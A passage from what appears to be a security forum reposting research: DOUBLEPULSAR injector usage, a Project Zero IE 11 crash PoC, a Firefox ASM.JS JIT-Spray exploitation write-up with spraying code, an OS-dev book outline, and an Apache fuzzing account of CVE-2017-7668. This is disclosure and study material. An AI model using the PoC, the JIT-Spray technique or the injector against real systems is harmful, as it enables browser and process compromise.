little practical difference. Additionally, this utility can trigger the shellcode using CreateRemoteThread instead. Usage C:\>DOUBLEPULSAR-usermode-injector.exe USAGE: <pid> <shellcode_file> <dll_to_inject> <ordinal_to_execute> [use_CreateRemoteProcess] The last argument is optional, if specified 'true' then CreateRemoteProcess will be used instead of using an APC call which is the default way Doublepulsar works. This is to allow people to test it out in different ways. The default is using APC. This will inject into ALL threads in the target, which makes it more likely one of them will trigger quickly. This is only suitable for testing as it may be undesirable to call the payload more than once. For example, inject somelibrary.dll into process 1234 using an Asynchronous Procedure Call (APC) and call ordinal 1: C:\>dopu-usermode-injector.exe 1234 dopu-64bit-usermode-shellcode.bin somelibrary.dll 1 Using thread: 2456 Using thread: 2032 Using thread: 3876 Or as above, but using CreateRemoteThread instead of APC: C:\>dopu-usermode-injector.exe 1234 dopu-64bit-usermode-shellcode.bin somelibrary.dll 1 true More information A full analysis of the usermode shellcode of DOUBLEPULSAR: https://www.countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ Prior work on the kernel component of DOUBLEPULSAR: https://www.countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ https://zerosum0x0.blogspot.co.uk/2017/04/doublepulsar-initial-smb-backdoor-ring.html Sursa: https://github.com/countercept/doublepulsar-usermode-injector
  18. There is a memory corruption issue in IE that can be triggered with svg <use> element. The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10. PoC: ========================================== <!-- saved from url=(0014)about:internet --> <script> function go() { setTimeout("window.location.reload()",100); pattern.replaceChild(use,pattern.childNodes[0]); } </script> <body onload=go()> <!--this is a comment--> <svg> <use id="use" xlink:href="#fecomp"> <symbol> <feComposite id="fecomp" /> </use> <pattern id="pattern"> <foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output> ========================================== Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0). (1a38.2a98): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> r rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6 rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000 rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029 r8=0000000000000000 r9=0000000012a58000 r10=0000000012a20000 r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20 r14=0000000012a20000 r15=0000000012a68bb0 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a 01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b 02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5 03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75 04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562 05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a 06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240 07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150 08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad 09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5 0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3 0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd 0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Sursa: https://bugs.chromium.org/p/project-zero/issues/detail?id=1233
  19. The Return of the JIT (Part 1) TL;DR: This is the story about ASM.JS JIT-Spray in Mozilla Firefox (x86) on Windows tracked as CVE-2017-5375 and CVE-2017-5400. It allows to fully bypass DEP and ASLR. I always liked the idea of JIT-Spray since the first time I saw it being used for Flash in 2010. Just to name a few, JIT-Spray has been used to exploit bugs in Apple Safari, create info leak gadgets in Flash, attack various other client software, and has even been abusing Microsoft’s WARP Shader JIT Engine @asintsov wrote in 2010: Yes, the idea will never die, and from time to time JIT-Spray reappears… JIT-Spray It greatly simplifies exploiting a memory corruption bug such as an use-after-free, because the attacker only needs to hijack the intruction pointer and jump to JIT-Sprayed shellcode. There is no need to disclose code locations or base addresses of DLLs, and there is no need for any code-reuse. JIT-Spray is usually possible when: Machine code can be hidden within constants of a high-level language such as JavaScript: This bypasses DEP. The attacker is able to force the JIT compiler to emit the constants into many execuable code regions whose addresses are predictable: This bypasses ASLR. For example to achieve (1), we can inject NOPS (0x90) in ASM.JS code with: Injecting NOPS with ASM.JS constants 1 2 VAL = (VAL + 0xA8909090)|0; VAL = (VAL + 0xA8909090)|0; Firefox’ ASM.JS compiler generates the following x86 machine code: Native x86 code generated from ASM.JS 1 2 00: 05909090A8 ADD EAX, 0xA8909090 05: 05909090A8 ADD EAX, 0xA8909090 When we jump into to offset 01 (the middle of the first instruction) we can execute our hidden code: Hidden instructions within emitted x86 code 1 2 3 4 5 6 7 8 01: 90 NOP 02: 90 NOP 03: 90 NOP 04: A805 TEST AL, 05 06: 90 NOP 07: 90 NOP 08: 90 NOP 09: A8... Thus, in our four-byte constants, we have three bytes to hide our code and one byte (0xA8) to wrap the ADD EAX, …instruction into the NOP-like instruction TEST AL, 05. To achieve condition (2), i.e., to create many executable regions containing our code we request the ASM.JS module many times: ASM.JS JIT-Sprayer 1 2 3 4 5 6 7 8 9 10 11 12 function asm_js_module(){ "use asm" function asm_js_function(){ /* attacker controlled asm.js code */ } return asm_js_function } modules = [] /* create 0x1000 executable regions containing our code */ for (i=0; i<=0x1000; i++){ modules[i] = asm_js_module() // request asm.js module } Technically, ASM.JS is an ahead-of-time (AOT) compiler and not a just-in-time (JIT) compiler. Hence, the function asm_js_function() doesn’t need to be called to get your machine code injected into memory at predictable addresses. It is sufficient to load a web page containing the ASM.JS script. The Flaw Each time an ASM.JS module is requested, CodeSegment::create() is called which in turn calls AllocateCodeSegment()in firefox-50.1.0/js/src/asmjs/WasmCode.cpp line #206 (based on the source of Firefox 50.1.0): firefox-50.1.0/js/src/asmjs/WasmCode.cpp (CodeSegment::create) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 191 /* static */ UniqueCodeSegment 192 CodeSegment::create(JSContext* cx, 193 const Bytes& bytecode, 194 const LinkData& linkData, 195 const Metadata& metadata, 196 HandleWasmMemoryObject memory) 197 { 198 MOZ_ASSERT(bytecode.length() % gc::SystemPageSize() == 0); 199 MOZ_ASSERT(linkData.globalDataLength % gc::SystemPageSize() == 0); 200 MOZ_ASSERT(linkData.functionCodeLength < bytecode.length()); 201 202 auto cs = cx->make_unique<CodeSegment>(); 203 if (!cs) 204 return nullptr; 205 206 cs->bytes_ = AllocateCodeSegment(cx, bytecode.length() + linkData.globalDataLength); AllocateCodeSegment() further calls AllocateExecutableMemory() in line #67: firefox-50.1.0/js/src/asmjs/WasmCode.cpp (AllocateCodeSegment) 1 2 3 4 5 6 7 8 9 10 11 58 AllocateCodeSegment(ExclusiveContext* cx, uint32_t totalLength) 59 { 60 if (wasmCodeAllocations >= MaxWasmCodeAllocations) 61 return nullptr; 62 63 // Allocate RW memory. DynamicallyLinkModule will reprotect the code as RX. 64 unsigned permissions = 65 ExecutableAllocator::initialProtectionFlags(ExecutableAllocator::Writable); 66 67 void* p = AllocateExecutableMemory(nullptr, totalLength, permissions, 68 "wasm-code-segment", gc::SystemPageSize()); Finally, AllocateExecutableMemory() invokes VirtualAlloc() which returns a new RW (PAGE_READWRITE) region aligned to a 64KB boundary (0xXXXX0000) (firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp, line #190). firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp (AllocateExecutableMemory) 1 2 3 4 5 6 7 8 9 10 11 12 179 void* 180 js::jit::AllocateExecutableMemory(void* addr, size_t bytes, unsigned permissions, const char* tag, 181 size_t pageSize) 182 { 183 MOZ_ASSERT(bytes % pageSize == 0); 184 185 #ifdef JS_CPU_X64 186 if (sJitExceptionHandler) 187 bytes += pageSize; 188 #endif 189 190 void* p = VirtualAlloc(addr, bytes, MEM_COMMIT | MEM_RESERVE, permissions); If we set a breakpoint on VirtualAlloc() in WinDbg, we get the following call stack during runtime (Firefox 50.1.0): Stack trace in WinDbg 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0:000> kP a # ChildEBP RetAddr 00 008fe060 670ef66e KERNEL32!VirtualAllocStub 01 (Inline) -------- xul!js::jit::AllocateExecutableMemory+0x10 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\executableallocatorwin.cpp @ 190] 02 008fe078 670f65c7 xul!AllocateCodeSegment( class js::ExclusiveContext * cx = 0x04516000, unsigned int totalLength = <Value unavailable error>)+0x23 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 67] 03 008fe0b8 670de070 xul!js::wasm::CodeSegment::create( struct JSContext * cx = 0x04516000, class mozilla::Vector<unsigned char,0,js::SystemAllocPolicy> * bytecode = 0x08c61008, struct js::wasm::LinkData * linkData = 0x08c61020, struct js::wasm::Metadata * metadata = 0x06ab68d0, class JS::Handle<js::WasmMemoryObject *> memory = class JS::Handle<js::WasmMemoryObject *>)+0x67 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 206] 04 008fe184 6705f99d xul!js::wasm::Module::instantiate( struct JSContext * cx = 0x04516000, class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> > funcImports = class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> >, class JS::Handle<js::WasmTableObject *> tableImport = class JS::Handle<js::WasmTableObject *>, class JS::Handle<js::WasmMemoryObject *> memoryImport = class JS::Handle<js::WasmMemoryObject *>, class mozilla::Vector<js::wasm::Val,0,js::SystemAllocPolicy> * globalImports = 0x008fe200, class JS::Handle<JSObject *> instanceProto = class JS::Handle<JSObject *>, class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>)+0x94 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmmodule.cpp @ 689] 05 008fe260 6705aae6 xul!TryInstantiate( struct JSContext * cx = 0x04516000, class JS::CallArgs args = class JS::CallArgs, class js::wasm::Module * module = 0x08c61000, struct js::AsmJSMetadata * metadata = 0x06ab68d0, class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>, class JS::MutableHandle<JSObject *> exportObj = class JS::MutableHandle<JSObject *>)+0x1e6 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 7894] 06 008fe2c4 35713638 xul!InstantiateAsmJS( struct JSContext * cx = 0x04516000, unsigned int argc = 0, class JS::Value * vp = 0x008fe2f0)+0x88 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 8008] After returning into method CodeSegment::create(), the ASM.JS compiled/native code is copied to the RW region (firefox-50.1.0/js/src/asmjs/WasmCode.cpp, line #223). And in line #229 the RW region is made executable (PAGE_EXECUTE_READ) with ExecutableAllocator::makeExecutable() invoking VirtualProtect(). firefox-50.1.0/js/src/asmjs/WasmCode.cpp making ASM.JS code executable (in CodeSegment::create) 1 2 3 4 5 6 7 223 memcpy(cs->code(), bytecode.begin(), bytecode.length()); 224 StaticallyLink(*cs, linkData, cx); 225 if (memory) 226 SpecializeToMemory(*cs, metadata, memory); 227 } 228 229 if (!ExecutableAllocator::makeExecutable(cs->code(), cs->codeLength())) { Requesting one ASM.JS module many times leads to the creation of many RX regions. Due to the allocation granularity of VirtualAlloc (64KB) we can then choose a fixed address (such as 0x1c1c0000) and can be certain that the emitted machine code is located there (containing our hidden payload). The astute reader might have noticed that constant blinding is missing and allows to emit ASM.JS constants as x86 code in the first place. Show me a PoC! Let’s see how a proof of concept looks in practice: we hide our payload within ASM.JS constants and request the ASM.JS module many times. Hence, we spray many executable code regions to occupy predictable addresses. The payload consists of two parts: Very large NOP-sled (line #35 to #74): to hit it, we can choose a predictable address, such as 0x1c1c0053, and set EIP to it. Shellcode (line #75 to #152): it resolves kernel32!WinExec()and executes cmd.exe. The payload strictly contains at most three-byte long instructions excepts MOVs, which are handled differently. It was automatically generated by a custom transformation tool shellcode2asmjs which uses the Nasm assembler and Distorm3disassembler. The payload is strongly inspired by Writing JIT-Spray-Shellcode. As no memory corruption is abused in this PoC, you have to set EIP in your favorite debugger when you are prompted to Exploiting a former Tor-Browser 0day with ASM.JS JIT-Spray Let’s take a real memory corruption (CVE-2016-9079) and see how super easy exploitation becomes when using ASM.JS JIT-Spray. This use-after-free has been analyzed thoroughly, so most of the hard work to write a custom exploit was already done. Note: We target Firefox 50.0.1 and not 50.1.0 as above. Despite JIT-Spraying executable regions, following steps are conducted: We use the bug-trigger from the bug report (line #296 to #372). We heap-spray a fake object (line #258 to #281). During runtime, the chosen values in our fake object drive the execution to a program path with an indirect call. There, EIP is set with the address of one JIT-Sprayed region (0x1c1c0054). As soon as the bug is triggered, the JIT-sprayed payload is executed and cmd.exe should pop up. That’s all. The full exploit targets Mozilla Firefox 50.0.1, and we don’t need any information-leaks and code-reuse. Note that the Tor-Browser has ASM.JS disabled by default, and hence, ASM.JS JIT-Spray won’t work unless the user enables it. I wonder if Endgames HA-CFI catches this exploit? Dynamic Payloads Above exploits contain “hardcoded” payloads within constants. That makes it kind of cumbersome to use different shellcodes. However, we can generate ASM.JS scripts on the fly and invoke them during runtime. A PoC where payloads are exchangeable uses the following: JavaScript code creates ASM.JS script-code dynamically. The ASM.JS script is included with the Blob JavaScript API (line #88 to #137). A custom VirtualAlloc stage0. It allocates RWX pages and copies the actual stage1 payload (i.e. metasploit shellcode) to it. Afterwards, stage0 jumps to stage1 (line #53 to #69). This way, you can replace the payload with your favorite shellcode of choice (line #33). The PoC and especially the stage0 payload were also auto-generated with the custom shellcode2asmjs tool. The Incomplete Fix Mozilla fixed this issue in Firefox 51 on Jan. 24, 2017. However, the fix can be bypassed which resulted in CVE-2017-5400. This will be explained in part 2. Posted by Rh0 advisory, exploit Sursa: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/
      • 1
      • Upvote
  20. Writing a Simple Operating System — from Scratch by Nick Blundell School of Computer Science, University of Birmingham, UK Draft: December 2, 2010 Copyright c 2009–2010 Nick Blundell Contents Contents ii 1 Introduction 1 2 Computer Architecture and the Boot Process 3 2.1 The Boot Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 BIOS, Boot Blocks, and the Magic Number . . . . . . . . . . . . . . . . 4 2.3 CPU Emulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3.1 Bochs: A x86 CPU Emulator . . . . . . . . . . . . . . . . . . . 6 2.3.2 QEmu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.4 The Usefulness of Hexadecimal Notation . . . . . . . . . . . . . . . . . . 6 3 Boot Sector Programming (in 16-bit Real Mode) 8 3.1 Boot Sector Re-visited . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2 16-bit Real Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3 Erm, Hello? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3.1 Interrupts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.3.2 CPU Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.3.3 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 11 3.4 Hello, World! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.4.1 Memory, Addresses, and Labels . . . . . . . . . . . . . . . . . . 13 3.4.2 ’X’ Marks the Spot . . . . . . . . . . . . . . . . . . . . . . . . . 13 Question 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.4.3 Defining Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.4.4 Using the Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Question 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.4.5 Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . 17 Question 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3.4.6 Calling Functions . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3.4.7 Include Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.4.8 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 21 Question 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.4.9 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 ii CONTENTS iii 3.5 Nurse, Fetch me my Steth-o-scope . . . . . . . . . . . . . . . . . . . . . 22 3.5.1 Question 5 (Advanced) . . . . . . . . . . . . . . . . . . . . . . . 23 3.6 Reading the Disk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 3.6.1 Extended Memory Access Using Segments . . . . . . . . . . . . 23 3.6.2 How Disk Drives Work . . . . . . . . . . . . . . . . . . . . . . . 24 3.6.3 Using BIOS to Read the Disk . . . . . . . . . . . . . . . . . . . 27 3.6.4 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 28 4 Entering 32-bit Protected Mode 30 4.1 Adapting to Life Without BIOS . . . . . . . . . . . . . . . . . . . . . . . 31 4.2 Understanding the Global Descriptor Table . . . . . . . . . . . . . . . . 32 4.3 Defining the GDT in Assembly . . . . . . . . . . . . . . . . . . . . . . . 35 4.4 Making the Switch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 4.5 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 5 Writing, Building, and Loading Your Kernel 41 5.1 Understanding C Compilation . . . . . . . . . . . . . . . . . . . . . . . . 41 5.1.1 Generating Raw Machine Code . . . . . . . . . . . . . . . . . . 41 5.1.2 Local Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 5.1.3 Calling Functions . . . . . . . . . . . . . . . . . . . . . . . . . . 46 5.1.4 Pointers, Addresses, and Data . . . . . . . . . . . . . . . . . . . 47 5.2 Executing our Kernel Code . . . . . . . . . . . . . . . . . . . . . . . . . 49 5.2.1 Writing our Kernel . . . . . . . . . . . . . . . . . . . . . . . . . 50 5.2.2 Creating a Boot Sector to Bootstrap our Kernel . . . . . . . . . 50 5.2.3 Finding Our Way into the Kernel . . . . . . . . . . . . . . . . . 53 5.3 Automating Builds with Make . . . . . . . . . . . . . . . . . . . . . . . . 54 5.3.1 Organising Our Operating System’s Code Base . . . . . . . . . 57 5.4 C Primer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 5.4.1 The Pre-processor and Directives . . . . . . . . . . . . . . . . . 59 5.4.2 Function Declarations and Header Files . . . . . . . . . . . . . . 60 6 Developing Essential Device Drivers and a Filesystem 62 6.1 Hardware Input/Output . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 6.1.1 I/O Buses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 6.1.2 I/O Programming . . . . . . . . . . . . . . . . . . . . . . . . . . 63 6.1.3 Direct Memory Access . . . . . . . . . . . . . . . . . . . . . . . 65 6.2 Screen Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 6.2.1 Understanding the Display Device . . . . . . . . . . . . . . . . . 65 6.2.2 Basic Screen Driver Implementation . . . . . . . . . . . . . . . . 65 6.2.3 Scrolling the Screen . . . . . . . . . . . . . . . . . . . . . . . . . 69 6.3 Handling Interrupts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.4 Keyboard Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.5 Hard-disk Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.6 File System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 7 Implementing Processes 71 7.1 Single Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 7.2 Multi-processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 CONTENTS iv 8 Summary 72 Bibliography 73 Download: http://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf
      • 1
      • Upvote
  21. domingo, 16 de julio de 2017 From fuzzing Apache httpd server to CVE-2017-7668 and a 1500$ bounty Intro In the previous post I thoroughly described how to fuzz Apache's httpd server with American Fuzzy Lop. After writing that post and, to my surprise, got a few crashing test cases. I say "to my surprise" because anybody who managed to get some good test cases could have done it before me and, despite of it, I was the first in reporting such vulnerability. So here's the blog of it! Goal After seeing Apache httpd server crashing under AFL, lots of problems arise such as, the crashing tests doesn't crash outside of the fuzzer, the stability of the fuzzed program goes way down, etc. In this blog post we will try to give an explanation to such happenings while showing how to get the bug and, finally, we will shed some light on the crash itself. Takeaways for the reader Testcases scrapped from wikipedia Bash-fu Taos Valgrind for triage Valgrind + gdb: Learn to not always trust Valgrind rr The test cases Since this was just a testing case for myself to fuzz network based programs with AFL, I did not bother too much on getting complex or test cases that had a lot of coverage. So, in order to get a few test cases that would cover a fair amount of a vanilla installation of Apache's httpd server, I decided to look up an easy way to scrap all the headers from the List of headers - WIki Page. Bash-fu Tao 1: Butterfly knife cut The first thing I did is just copy paste the two tables under Request Fields into a text file with your editor of choice. It is important that your editor of choice doesn't replace tabs for spaces or the cut command will lose all its power. I chose my file to be called "wiki-http-headers" and after populating it, we select the third column of the tables we can do the following. Remember that the default delimiter for cut is the TAB character: ? 1 cat wiki-http-headers | cut -f3 | grep ":" | sed "s#Example....##g" | sort -u We can see that some headers are gone such as the TSV header. I ignored such and went on to fuzzing since coverage was not my concern - the real goal was to fuzz. Maybe you can find new 0-days with the missing headers! Why not? Bash-fu Tao 2: Chain punching with "for" Now that we have learned our first Tao, it is time to iterate on each header and create a test case per line. Avid bash users will already know how to do this but for these newcomers and also learners here's how: ? 1 a=0 && IFS=$'\n' && for header in $(cat wiki-http-headers | cut -f3 | grep ":" | sort -u); do echo -e "GET / HTTP/1.0\r\n$header\r\n\r\n" > "testcase$a.req";a=$(($a+1)); done && unset IFS Let me explain such an abomination quickly. There is a thing called the Internal Field Separator (IFS) which is an environment variable holding the tokens that delimit fields in bash. The IFS by default in bash considers the space, the taband the newline. Those separators will interfere with headers when encountering spaces because the for command in bash iterates over a given list of fileds (fields are separated by the IFS) - this is why we need to set the IFS to just the newline. Now we are ready to just iterate and echo each header to a different file (the a variable helps to dump each header to a file with a different name). Bash-fu Tao Video Here is one way to approach the full bash-fu Taos: The fuzzing Now that we have gathered a fair amount of (rather basic) test cases we can start now our fuzzing sessions. This section is fairly short as everything on how to fuzz Apache httpd is explained in the previous post. However, there minimal steps are: Download apr, apr-utils, nghttpd2, pcre-8 and Apache httpd 2.4.25 Install the following dependencies: sudo apt install pkg-config sudo apt install libssl-dev Patch Apache httpd Compile with the appropriate flags and installation path (PREFIX environment variable) Now it all should be ready and set up to start fuzzing Apache httpd. As you can see in the following video, with a bit of improved test cases the crash doesn't take long to come up: It is worth mentioning that I cheated for this demo a bit as I introduced already a test case I knew it would make it crash "soon". How I obtained the crashing testcase was through a combination of honggfuzz, radamsa and AFL while checking the stability + "variable behaviour" folder of AFL. The crashing Dissapointment First things first. When having a crashing test case it is mandatory to test if it is a false positive or not, right? Let's try it: Euh... it doesn't crash outside Apache. What could be happening? Troubleshooting There are a few things to test against here... - First of all we are fuzzing in persistent mode: This means that maybe our test case did make the program crash but that it was one of many. In our case the __AFL_LOOP variable was set to over 9000 (a bit too much to be honest). For those that don't know what said variable is for, it is the number of fuzzing iterations that AFL will run before restarting the whole process. So, in the end, the crashing test case AFL discovered, would need to be launched in a worst case scenario, as follows: Launch all other non-crashing 8999 inputs and then launch the crashing one (i.e. the last test case) number 9000. - The second thing to take into account is the stability that AFL reports: The stability keeps going lower and lower. Usually (if you have read the readme from AFL you can skip this part) low stability could be to either, use of random values (or use of date functions, hint hint) in your code or usage of uninitialised memory. This is key to our bug. - The third and last (and least in our case) would be the memory assigned to our fuzzed process: In this case the memory is unlimited as we are running afl with "-m none" but in other cases it can be an indicator of overflows (stack or heap based) and access to unallocated memory. Narrowing down the 9000 To test against our first assumption we need more crashing cases. To do so we just need to run AFL with our "crashing" test case only. It will take no time to find new paths/crashes which will help us narrow down our over 9000 inputs to a much lower value. Now, onto our second assumption... Relationship goals: Stability When fuzzing, we could check that stability was going down as soon as AFL was getting more and more into crashing test cases - we can tell there is some kind of correlation between the crashes and memory. To test if we are actually using uninitialised memory we can use a very handy tool called... Valgrind Valgrind is composed by a set of instrumentation tools to do dynamic analysis of your programs. By default, it is set to run "memcheck", a tool to inspect memory management. To install Valgrind on my Debian 8 I just needed to install it straight from the repositories: ? 1 sudo apt install valgrind After doing that we need to run Apache server under Valgrind with: ? 1 NO_FUZZ=1 valgrind -- /usr/local/apache-afl-persist/bin/httpd -X The NO_FUZZ environment variable is read by the code in the patch to prevent the fuzzing loop to kick in. After this we need to launch one of our "crashing" test cases into Apache server running under Valgrind and, hopefully, our second assumption about usage of uninitialised memory will be confirmed: We can confirm that, yes, Apache httpd is making use of uninitialised values but, still... I wasn't happy that Apache won't crash so let's use our Bash-fu Tao 2 to iterate over each test case and launch it against Apache. Good good, it's crashing now! We can now proceed to do some basic triage. The triage Let's do a quick analysis and see which (spoiler) header is the guilty one... gdb + valgrind One cool feature about valgrind is that, it will let you analyse the state of the of the program when an error occurs. We can do this through the --vgdb-error=1 flag. This flag will tell valgrind to stop execution on the first error reported and will wait for a debugger to attach to it. This is perfect for our case since it seems that we are accessing uninitialised values and accessing values outside of a buffer (out-of-bounds read) which is not a segfault but it still is an error under valgrind. To use this feature, first we need to run in one shell: ? 1 NO_FUZZ=1 valgrind --vgdb-error=0 -- /usr/local/apache_afl_blogpost/bin/httpd -X Then, in a second separate shell, we send our input that triggers the bug: ? 1 cat crashing-testcase.req | nc localhost 8080 Finally, in a third shell, we run gdb and attach through valgrind's command: ? 1 target remote | /usr/lib/valgrind/../../bin/vgdb We are now inspecting what is happening inside Apache at the exact point of the error: Figure 1 - Inspecting on first valgrind reported error. As you can see the first reported error is on line 1693. Our intuition tells us it is going to be the variable s as it is being increased without any "proper" checks, apart from the *s instruction, which will be true unless it points to a null value. Since s is optimised out at compile time, we need to dive into the backtrace by going up one level and inspecting the conn variable which is the one that s will point to. It is left as an exercise for the reader as to why the backtrace shown by pwndbg is different than the one shown by the "bt" command. For the next figures, keep in mind the 2 highlighted values on Figure 1: 0x6e2990c and 8749. Here is where, for our analysis, the number from Figure 1, 8749, makes sense as we can see that the variable conn is allocated with 8192 bytes at 0x6e2990c. We can tell that something is wrong as 8749 is way far from the allocated 8192 bytes. This is how we calculated the previous 8749 bytes. We stepped into the next error reported by valgrind through issuing the gdb "continue" command and letting it error out. There was an invalid read at 0x6e2bb39 and the initial pointer to the "conn" variable was at 0x6e2990c. Remember that s is optimized out so we need to do some math here as we can't get the real pointer from s on debugging time. Said this, we need to get the offset with: invalid_read_offset = valgrind_error_pointer - conn which is: 8749 = 0x6e2bb39 - 0x6e2990c rr - Record & Replay Framework During the process of the triage, one can find several happenings that can hinder the debugging process: Apache will stop out of nowhere (haven't managed to get the reason why), valgrind will make it crash on parts that it is not supposed to because of it adding its own function wrappers, the heap will be different on valgrind debugging sessions than plain gdb or vanilla runs, etc. Here is where the Record & Replay Framework comes in handy: Deterministic replaying of the program's state. You can even Replay the execution backwards which, in our case, is totally awesome! Must say I discovered this tool thanks to a good friend and colleague of mine, Symeon Paraschoudis, who introduced this marvellous piece of software to me. Let's cause the segmentation fault while recording with rr and replay the execution: Full analysis is not provided as it is outside of the scope of this post. Conclusions We have learned how to use bash to effectively scrap stuff as test cases from the web and to believe that, even thought hundreds of people might be fuzzing a certain piece of software, we can still add our value when using the right combination of tools, mutations and knowledge. Tools have been discovered along the way that will aid and help further triage. Stay tuned for the search of animal 